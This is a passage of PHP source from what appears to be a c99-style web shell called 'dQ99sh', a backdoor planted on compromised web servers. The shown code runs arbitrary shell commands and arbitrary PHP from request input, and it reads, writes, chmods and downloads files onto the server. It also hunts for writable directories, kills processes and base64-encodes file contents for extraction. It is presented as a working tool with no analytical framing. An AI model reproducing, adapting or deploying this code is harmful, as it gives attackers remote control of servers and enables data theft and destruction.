1488 if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}
1489 $cmdline .= " ".$actarcbuff_path;
1490 $objects = array_merge($sess_data["copy"],$sess_data["cut"]);
1491 foreach($objects as $v) {
1492 $v = str_replace("\\",DIRECTORY_SEPARATOR,$v);
1493 if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}
1494 if (is_dir($v)) {
1495 if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}
1496 $v .= "*";
1497 }
1498 $cmdline .= " ".$v;
1499 }
1500 $tmp = realpath(".");
1501 chdir($d);
1502 $ret = dQ99exec($cmdline);
1503 chdir($tmp);
1504 if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";}
1505 $ret = str_replace("\r\n","\n",$ret);
1506 $ret = explode("\n",$ret);
1507 if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
1508 foreach($sess_data["cut"] as $k=>$v) {
1509 if (in_array($v,$ret)) {fs_rmobj($v);}
1510 unset($sess_data["cut"][$k]);
1511 }
1512 dQ99_sess_put($sess_data);
1513 if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;}
1514 $act = "ls";
1515 }
1516 elseif ($actpastebuff) {
1517 $psterr = "";
1518 foreach($sess_data["copy"] as $k=>$v) {
1519 $to = $d.basename($v);
1520 if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
1521 if ($copy_unset) {unset($sess_data["copy"][$k]);}
1522 }
1523 foreach($sess_data["cut"] as $k=>$v) {
1524 $to = $d.basename($v);
1525 if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
1526 unset($sess_data["cut"][$k]);
1527 }
1528 dQ99_sess_put($sess_data);
1529 if (!empty($psterr)) {echo "<b>Error pasting:</b><br>".$psterr;}
1530 $act = "ls";
1531 }
1532}
1533if ($act == "cmd") {
1534 @chdir($chdir);
1535 if (!empty($submit)) {
1536 echo "<div class=barheader>.: Results of Execution :.</div>\n";
1537 $olddir = realpath(".");
1538 @chdir($d);
1539 $ret = dQ99exec($cmd);
1540 $ret = convert_cyr_string($ret,"d","w");
1541 if ($cmd_txt) {
1542 $rows = count(explode("\n",$ret))+1;
1543 if ($rows < 10) { $rows = 10; } else { $rows = 30; }
1544 $cols = 130;
1545 echo "<textarea class=shell cols=\"$cols\" rows=\"$rows\" readonly>".htmlspecialchars($ret)."</textarea>\n";
1546 //echo "<div align=left><pre>".htmlspecialchars($ret)."</pre></div>";
1547 }
1548 else { echo $ret."<br>"; }
1549 @chdir($olddir);
1550 }
1551}
1552if ($act == "ls") {
1553 if (count($ls_arr) > 0) { $list = $ls_arr; }
1554 else {
1555 $list = array();
1556 if ($h = @opendir($d)) {
1557 while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
1558 closedir($h);
1559 }
1560 }
1561 if (count($list) == 0) { echo "<div class=dQerrmsg>Can't open folder (".htmlspecialchars($d).")!</div>";}
1562 else {
1563 $objects = array();
1564 $vd = "f"; //Viewing mode
1565 if ($vd == "f") {
1566 $objects["head"] = array();
1567 $objects["folders"] = array();
1568 $objects["links"] = array();
1569 $objects["files"] = array();
1570 foreach ($list as $v) {
1571 $o = basename($v);
1572 $row = array();
1573 if ($o == ".") {$row[] = $d.$o; $row[] = "CURDIR";}
1574 elseif ($o == "..") {$row[] = $d.$o; $row[] = "UPDIR";}
1575 elseif (is_dir($v)) {
1576 if (is_link($v)) {$type = "LINK";}
1577 else {$type = "DIR";}
1578 $row[] = $v;
1579 $row[] = $type;
1580 }
1581 elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
1582 $row[] = filemtime($v);
1583 if (!$win) {
1584 $ow = posix_getpwuid(fileowner($v));
1585 $gr = posix_getgrgid(filegroup($v));
1586 $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));
1587 }
1588 $row[] = fileperms($v);
1589 if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
1590 elseif (is_link($v)) {$objects["links"][] = $row;}
1591 elseif (is_dir($v)) {$objects["folders"][] = $row;}
1592 elseif (is_file($v)) {$objects["files"][] = $row;}
1593 $i++;
1594 }
1595 $row = array();
1596 $row[] = "<b>Name</b>";
1597 $row[] = "<b>Size</b>";
1598 $row[] = "<b>Date Modified</b>";
1599 if (!$win) {$row[] = "<b>Owner/Group</b>";}
1600 $row[] = "<b>Perms</b>";
1601 $row[] = "<b>Action</b>";
1602 $parsesort = parsesort($sort);
1603 $sort = $parsesort[0].$parsesort[1];
1604 $k = $parsesort[0];
1605 if ($parsesort[1] != "a") {$parsesort[1] = "d";}
1606 $y = " <a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">";
1607 $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>";
1608 $row[$k] .= $y;
1609 for($i=0;$i<count($row)-1;$i++) {
1610 if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";}
1611 }
1612 $v = $parsesort[0];
1613 usort($objects["folders"], "tabsort");
1614 usort($objects["links"], "tabsort");
1615 usort($objects["files"], "tabsort");
1616 if ($parsesort[1] == "d") {
1617 $objects["folders"] = array_reverse($objects["folders"]);
1618 $objects["files"] = array_reverse($objects["files"]);
1619 }
1620 $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
1621 $tab = array();
1622 $tab["cols"] = array($row);
1623 $tab["head"] = array();
1624 $tab["folders"] = array();
1625 $tab["links"] = array();
1626 $tab["files"] = array();
1627 $i = 0;
1628 foreach ($objects as $a) {
1629 $v = $a[0];
1630 $o = basename($v);
1631 $dir = dirname($v);
1632 if ($disp_fullpath) {$disppath = $v;}
1633 else {$disppath = $o;}
1634 $disppath = str2mini($disppath,60);
1635 if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";}
1636 elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";}
1637 foreach ($regxp_highlight as $r) {
1638 if (ereg($r[0],$o)) {
1639 if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; dQ99shexit();}
1640 else {
1641 $r[1] = round($r[1]);
1642 $isdir = is_dir($v);
1643 if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) {
1644 if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";}
1645 $disppath = $r[2].$disppath.$r[3];
1646 if ($r[4]) {break;}
1647 }
1648 }
1649 }
1650 }
1651 $uo = urlencode($o);
1652 $ud = urlencode($dir);
1653 $uv = urlencode($v);
1654 $row = array();
1655 if ($o == ".") {
1656 $row[] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."act=img&img=small_dir\" border=\"0\"> ".$o."</a>";
1657 $row[] = "CURDIR";
1658 }
1659 elseif ($o == "..") {
1660 $row[] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."act=img&img=ext_lnk\" border=\"0\"> ".$o."</a>";
1661 $row[] = "UPDIR";
1662 }
1663 elseif (is_dir($v)) {
1664 if (is_link($v)) {
1665 $disppath .= " => ".readlink($v);
1666 $type = "LINK";
1667 $row[] = "<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\"><img src=\"".$surl."act=img&img=ext_lnk\" border=\"0\"> [".$disppath."]</a>";
1668 }
1669 else {
1670 $type = "DIR";
1671 $row[] = "<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\"><img src=\"".$surl."act=img&img=small_dir\" border=\"0\"> [".$disppath."]</a>";
1672 }
1673 $row[] = $type;
1674 }
1675 elseif(is_file($v)) {
1676 $ext = explode(".",$o);
1677 $c = count($ext)-1;
1678 $ext = $ext[$c];
1679 $ext = strtolower($ext);
1680 $row[] = "<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\"> ".$disppath."</a>";
1681 $row[] = view_size($a[1]);
1682 }
1683 $row[] = @date("d.m.Y H:i:s",$a[2]);
1684 if (!$win) { $row[] = $a[3]; }
1685 $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>";
1686 if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;}
1687 else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";}
1688 if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" border=\"0\"></a> ".$checkbox;}
1689 else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a> <a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"16\" width=\"19\" border=\"0\"></a> <a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\" border=\"0\"></a> ".$checkbox;}
1690 if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
1691 elseif (is_link($v)) {$tab["links"][] = $row;}
1692 elseif (is_dir($v)) {$tab["folders"][] = $row;}
1693 elseif (is_file($v)) {$tab["files"][] = $row;}
1694 $i++;
1695 }
1696 }
1697 // Compiling table
1698 $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
1699 echo "<div class=barheader>.: ";
1700 if (!empty($dQ_infohead)) { echo $dQ_infohead; }
1701 else { echo "Directory List (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders)"; }
1702 echo " :.</div>\n";
1703 echo "<form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=\"".$dspact."\"><input type=hidden name=d value=".$d.">".
1704 "<table class=explorer>";
1705 foreach($table as $row) {
1706 echo "<tr>";
1707 foreach($row as $v) {echo "<td>".$v."</td>";}
1708 echo "</tr>\r\n";
1709 }
1710 echo "</table>".
1711 "<script>".
1712 "function ls_setcheckboxall(status) {".
1713 " var id = 1; var num = ".(count($table)-2).";".
1714 " while (id <= num) { document.getElementById('actbox'+id).checked = status; id++; }".
1715 "}".
1716 "function ls_reverse_all() {".
1717 " var id = 1; var num = ".(count($table)-2).";".
1718 " while (id <= num) { document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; id++; }".
1719 "}".
1720 "</script>".
1721 "<div align=\"right\">".
1722 "<input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\"> <input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\">".
1723 "<img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">";
1724 if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) {
1725 echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\"> <input type=\"text\" name=\"actarcbuff_path\" value=\"dQ_archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\"> <input type=submit name=\"actpastebuff\" value=\"Paste\"> <input type=submit name=\"actemptybuff\" value=\"Empty buffer\"> ";
1726 }
1727 echo "<select name=act><option value=\"".$act."\">With selected:</option>";
1728 echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>";
1729 echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>";
1730 if ($usefsbuff) {
1731 echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>";
1732 echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>";
1733 echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>";
1734 }
1735 echo "</select> <input type=submit value=\"Confirm\"></div>";
1736 echo "</form>";
1737 }
1738}
1739if ($act == "tools") { tools(); }
1740##[ PHP FILESYSTEM TRICKZ (By diKi) ]##
1741if ($act == "phpfsys") {
1742 echo "<div align=left>";
1743 $fsfunc = $phpfsysfunc;
1744 if ($fsfunc=="copy") {
1745 if (!copy($arg1, $arg2)) { echo "Failed to copy $arg1...\n";}
1746 else { echo "<b>Success!</b> $arg1 copied to $arg2\n"; }
1747 }
1748 elseif ($fsfunc=="rename") {
1749 if (!rename($arg1, $arg2)) { echo "Failed to rename/move $arg1!\n";}
1750 else { echo "<b>Success!</b> $arg1 renamed/moved to $arg2\n"; }
1751 }
1752 elseif ($fsfunc=="chmod") {
1753 if (!chmod($arg1,$arg2)) { echo "Failed to chmod $arg1!\n";}
1754 else { echo "<b>Perm for $arg1 changed to $arg2!</b>\n"; }
1755 }
1756 elseif ($fsfunc=="read") {
1757 $darg = $d.$arg1;
1758 if ($hasil = @file_get_contents($darg)) {
1759 echo "<b>Filename:</b> ".$darg."<br>";
1760 echo "<center><textarea cols=135 rows=30>";
1761 echo htmlentities($hasil);
1762 echo "</textarea></center>\n";
1763 }
1764 else { echo "<div class=dQerrmsg> Couldn't open ".$darg."<div>"; }
1765 }
1766 elseif ($fsfunc=="write") {
1767 $darg = $d.$arg1;
1768 if(@file_put_contents($darg,$arg2)) {
1769 echo "<b>Saved!</b> ".$darg;
1770
1771 }
1772 else { echo "<div class=dQerrmsg>Can't write to $darg!</div>"; }
1773 }
1774 elseif ($fsfunc=="downloadbin") {
1775 $handle = fopen($arg1, "rb");
1776 $contents = '';
1777 while (!feof($handle)) {
1778 $contents .= fread($handle, 8192);
1779 }
1780 $r = @fopen($d.$arg2,'w');
1781 if (fwrite($r,$contents)) { echo "<b>Success!</b> $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; }
1782 else { echo "<div class=dQerrmsg>Can't write to ".$d.$arg2."!</div>"; }
1783 fclose($r);
1784 fclose($handle);
1785 }
1786 elseif ($fsfunc=="download") {
1787 $text = implode('', file($arg1));
1788 if ($text) {
1789 $r = @fopen($d.$arg2,'w');
1790 if (fwrite($r,$text)) { echo "<b>Success!</b> $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; }
1791 else { echo "<div class=dQerrmsg>Can't write to ".$d.$arg2."!</div>"; }
1792 fclose($r);
1793 }
1794 else { echo "<div class=dQerrmsg>Can't download from $arg1!</div>";}
1795 }
1796 elseif ($fsfunc=='mkdir') {
1797 $thedir = $d.$arg1;
1798 if ($thedir != $d) {
1799 if (file_exists($thedir)) { echo "<b>Already exists:</b> ".htmlspecialchars($thedir); }
1800 elseif (!mkdir($thedir)) { echo "<b>Access denied:</b> ".htmlspecialchars($thedir); }
1801 else { echo "<b>Dir created:</b> ".htmlspecialchars($thedir);}
1802 }
1803 else { echo "Can't create current dir:<b> $thedir</b>"; }
1804 }
1805 elseif ($fsfunc=='fwritabledir') {
1806 function recurse_dir($dir,$max_dir) {
1807 global $dir_count;
1808 $dir_count++;
1809 if( $cdir = dir($dir) ) {
1810 while( $entry = $cdir-> read() ) {
1811 if( $entry != '.' && $entry != '..' ) {
1812 if(is_dir($dir.$entry) && is_writable($dir.$entry) ) {
1813 if ($dir_count > $max_dir) { return; }
1814 echo "[".$dir_count."] ".$dir.$entry."\n";
1815 recurse_dir($dir.$entry.DIRECTORY_SEPARATOR,$max_dir);
1816 }
1817 }
1818 }
1819 $cdir->close();
1820 }
1821 }
1822 if (!$arg1) { $arg1 = $d; }
1823 if (!$arg2) { $arg2 = 10; }
1824 if (is_dir($arg1)) {
1825 echo "<b>Writable directories (Max: $arg2) in:</b> $arg1<hr noshade size=1>";
1826 echo "<pre>";
1827 recurse_dir($arg1,$arg2);
1828 echo "</pre>";
1829 $total = $dir_count - 1;
1830 echo "<hr noshade size=1><b>Founds:</b> ".$total." of <b>Max</b> $arg2";
1831 }
1832 else {
1833 echo "<div class=dQerrmsg>Directory is not exist or permission denied!</div>";
1834 }
1835 }
1836 else {
1837 if (!$arg1) { echo "<div class=dQerrmsg>No operation! Please fill parameter [A]!</div>\n"; }
1838 else {
1839 if ($hasil = $fsfunc($arg1)) {
1840 echo "<b>Result of $fsfunc $arg1:</b><br>";
1841 if (!is_array($hasil)) { echo "$hasil\n"; }
1842 else {
1843 echo "<pre>";
1844 foreach ($hasil as $v) { echo $v."\n"; }
1845 echo "</pre>";
1846 }
1847 }
1848 else { echo "<div class=dQerrmsg>$fsfunc $arg1 failed!</div>\n"; }
1849 }
1850 }
1851 echo "</div>\n";
1852}
1853if ($act == "processes") {
1854 echo "<div class=barheader>.: Processes :.</div>\n";
1855 if (!$win) { $handler = "ps aux".($grep?" | grep '".addslashes($grep)."'":""); }
1856 else { $handler = "tasklist"; }
1857 $ret = dQ99exec($handler);
1858 if (!$ret) { echo "Can't execute \"".$handler."\"!"; }
1859 else {
1860 if (empty($processes_sort)) { $processes_sort = $sort_default; }
1861 $parsesort = parsesort($processes_sort);
1862 if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
1863 $k = $parsesort[0];
1864 if ($parsesort[1] != "a") {
1865 $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" border=\"0\"></a>";
1866 }
1867 else {
1868 $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";
1869 }
1870 $ret = htmlspecialchars($ret);
1871 if (!$win) { //Not Windows
1872 if ($pid) {
1873 if (is_null($sig)) { $sig = 9; }
1874 echo "Sending signal ".$sig." to #".$pid."... ";
1875 if (posix_kill($pid,$sig)) { echo "OK."; } else { echo "ERROR."; }
1876 }
1877 while (ereg(" ",$ret)) { $ret = str_replace(" "," ",$ret); }
1878 $stack = explode("\n",$ret);
1879 $head = explode(" ",$stack[0]);
1880 unset($stack[0]);
1881 for($i=0;$i<count($head);$i++) {
1882 if ($i != $k) {
1883 $head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";
1884 }
1885 }
1886 $head[$i] = "";
1887 $prcs = array();
1888 foreach ($stack as $line) {
1889 if (!empty($line)) {
1890 $line = explode(" ",$line);
1891 $line[10] = join(" ",array_slice($line,10));
1892 $line = array_slice($line,0,11);
1893 if ($line[0] == get_current_user()) { $line[0] = "<font color=green>".$line[0]."</font>"; }
1894 $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>";
1895 $prcs[] = $line;
1896 }
1897 }
1898 }
1899 //For Windows - Fixed By diKi
1900 else {
1901 while (ereg(" ",$ret)) { $ret = str_replace(" "," ",$ret); }
1902 while (ereg("=",$ret)) { $ret = str_replace("=","",$ret); }
1903 $ret = convert_cyr_string($ret,"d","w");
1904 $stack = explode("\n",$ret);
1905 unset($stack[0],$stack[2]);
1906 $stack = array_values($stack);
1907 $stack[0]=str_replace("Image Name","ImageName",$stack[0]);
1908 $stack[0]=str_replace("Session Name","SessionName",$stack[0]);
1909 $stack[0]=str_replace("Mem Usage","MemoryUsage",$stack[0]);
1910 $head = explode(" ",$stack[0]);
1911 $stack = array_slice($stack,1);
1912 $head = array_values($head);
1913 if ($parsesort[1] != "a") { $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" border=\"0\"></a>"; }
1914 else { $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" border=\"0\"></a>"; }
1915 if ($k > count($head)) {$k = count($head)-1;}
1916 for($i=0;$i<count($head);$i++) {
1917 if ($i != $k) { $head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>"; }
1918 }
1919 $prcs = array();
1920 unset($stack[0]);
1921 foreach ($stack as $line) {
1922 if (!empty($line)) {
1923 $line = explode(" ",$line);
1924 $line[4] = str_replace(".","",$line[4]);
1925 $line[4] = intval($line[4]) * 1024;
1926 unset($line[5]);
1927 $prcs[] = $line;
1928 }
1929 }
1930 }
1931 $head[$k] = "<b>".$head[$k]."</b>".$y;
1932 $v = $processes_sort[0];
1933 usort($prcs,"tabsort");
1934 if ($processes_sort[1] == "d") { $prcs = array_reverse($prcs); }
1935 $tab = array();
1936 $tab[] = $head;
1937 $tab = array_merge($tab,$prcs);
1938 echo "<table class=explorer>\n";
1939 foreach($tab as $i=>$k) {
1940 echo "<tr>";
1941 foreach($k as $j=>$v) {
1942 if ($win and $i > 0 and $j == 4) { $v = view_size($v); }
1943 echo "<td>".$v."</td>";
1944 }
1945 echo "</tr>\n";
1946 }
1947 echo "</table>";
1948 }
1949}
1950if ($act == "eval") {
1951 if (!empty($eval)) {
1952 echo "Result of execution this PHP-code:<br>";
1953 $tmp = @ob_get_contents();
1954 $olddir = realpath(".");
1955 @chdir($d);
1956 if ($tmp) {
1957 @ob_clean();
1958 eval($eval);
1959 $ret = @ob_get_contents();
1960 $ret = convert_cyr_string($ret,"d","w");
1961 @ob_clean();
1962 echo $tmp;
1963 if ($eval_txt) {
1964 $rows = count(explode("\r\n",$ret))+1;
1965 if ($rows < 10) {$rows = 10;}
1966 echo "<br><textarea cols=\"115\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
1967 }
1968 else {echo $ret."<br>";}
1969 }
1970 else {
1971 if ($eval_txt) {
1972 echo "<br><textarea cols=\"115\" rows=\"15\" readonly>";
1973 eval($eval);
1974 echo "</textarea>";
1975 }
1976 else {echo $ret;}
1977 }
1978 @chdir($olddir);
1979 }
1980 else {echo "<b>PHP-code Execution (Use without PHP Braces!)</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}}
1981 echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"115\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\"> Display in text-area <input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>";
1982}
1983if ($act == "f") {
1984 echo "<div align=left>";
1985 if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") {
1986 if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";}
1987 else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";}
1988 }
1989 else {
1990 $r = @file_get_contents($d.$f);
1991 $ext = explode(".",$f);
1992 $c = count($ext)-1;
1993 $ext = $ext[$c];
1994 $ext = strtolower($ext);
1995 $rft = "";
1996 foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
1997 if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
1998 if (empty($ft)) {$ft = $rft;}
1999 $arr = array(
2000 array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"),
2001 array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"),
2002 array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"),
2003 array("Code","code"),
2004 array("Session","phpsess"),
2005 array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"),
2006 array("SDB","sdb"),
2007 array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"),
2008 array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"),
2009 array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"),
2010 array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"),
2011 array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit")
2012 );
2013 echo "<b>Viewing file: <img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\"> ".$f." (".view_size(filesize($d.$f)).") ".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>";
2014 foreach($arr as $t) {
2015 if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";}
2016 elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";}
2017 else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";}
2018 echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |";
2019 }
2020 echo "<hr size=\"1\" noshade>";
2021 if ($ft == "info") {
2022 echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>";
2023 if (!$win) {
2024 echo "<tr><td><b>Owner/Group</b></td><td> ";
2025 $ow = posix_getpwuid(fileowner($d.$f));
2026 $gr = posix_getgrgid(filegroup($d.$f));
2027 echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));
2028 }
2029 echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table>";
2030 $fi = fopen($d.$f,"rb");
2031 if ($fi) {
2032 if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));}
2033 else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
2034 $n = 0;
2035 $a0 = "00000000<br>";
2036 $a1 = "";
2037 $a2 = "";
2038 for ($i=0; $i<strlen($str); $i++) {
2039 $a1 .= sprintf("%02X",ord($str[$i]))." ";
2040 switch (ord($str[$i])) {
2041 case 0: $a2 .= "<font>0</font>"; break;
2042 case 32:
2043 case 10:
2044 case 13: $a2 .= " "; break;
2045 default: $a2 .= htmlspecialchars($str[$i]);
2046 }
2047 $n++;
2048 if ($n == $hexdump_rows) {
2049 $n = 0;
2050 if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";}
2051 $a1 .= "<br>";
2052 $a2 .= "<br>";
2053 }
2054 }
2055 echo "<table border=1 bgcolor=#666666>".
2056 "<tr><td bgcolor=#666666>".$a0."</td>".
2057 "<td bgcolor=#000000>".$a1."</td>".
2058 "<td bgcolor=#000000>".$a2."</td>".
2059 "</tr></table><br>";
2060 }
2061 $encoded = "";
2062 if ($base64 == 1) {
2063 echo "<b>Base64 Encode</b><br>";
2064 $encoded = base64_encode(file_get_contents($d.$f));
2065 }
2066 elseif($base64 == 2) {
2067 echo "<b>Base64 Encode + Chunk</b><br>";
2068 $encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
2069 }
2070 elseif($base64 == 3) {
2071 echo "<b>Base64 Encode + Chunk + Quotes</b><br>";
2072 $encoded = base64_encode(file_get_contents($d.$f));
2073 $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2);
2074 }
2075 elseif($base64 == 4) {
2076 $text = file_get_contents($d.$f);
2077 $encoded = base64_decode($text);
2078 echo "<b>Base64 Decode";
2079 if (base64_encode($encoded) != $text) {echo " (failed)";}
2080 echo "</b><br>";
2081 }
2082 if (!empty($encoded))
2083 {
2084 echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>";
2085 }
2086 echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b>
2087 <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>] </nobr>
2088 <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>] </nobr>
2089 <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>] </nobr>
